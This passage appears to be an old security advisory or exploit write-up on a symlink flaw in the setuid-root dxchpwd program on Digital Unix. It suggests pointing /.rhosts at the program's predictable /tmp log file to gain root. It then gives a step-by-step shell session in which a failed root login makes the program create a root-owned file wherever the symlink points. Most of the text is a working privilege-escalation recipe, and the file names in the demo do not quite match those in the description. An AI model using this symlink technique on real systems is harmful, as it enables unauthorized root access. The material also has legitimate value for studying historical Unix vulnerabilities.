In this case, if /.rhosts were symlinked to /tmp/dxchpwd.log, then a host known as Unknown could possibly gain root access. Example: $ ls -l /usr/tcb/bin/dxchpwd -rwsr-xr-x 1 root bin 49152 Jul 25 1995 /usr/tcb/bin/dxchpwd $ ls -l /tmp/dxchpwd.log /tmp/dxchpwd.log not found $ export DISPLAY=:0 (or a remotehost) $ ln -s /hackfile /tmp/dxchpwd $ ls -l /hackfile /hackfile not found $ /usr/tcb/bin/dxchpwd (The dxchpwd window will appear. Just enter root for username and anything for the passwd. You'll get a permission denied message and the window will close.) $ ls -l /hackfile -rw------- 1 root system 0 Nov 16 22:44 /hackfile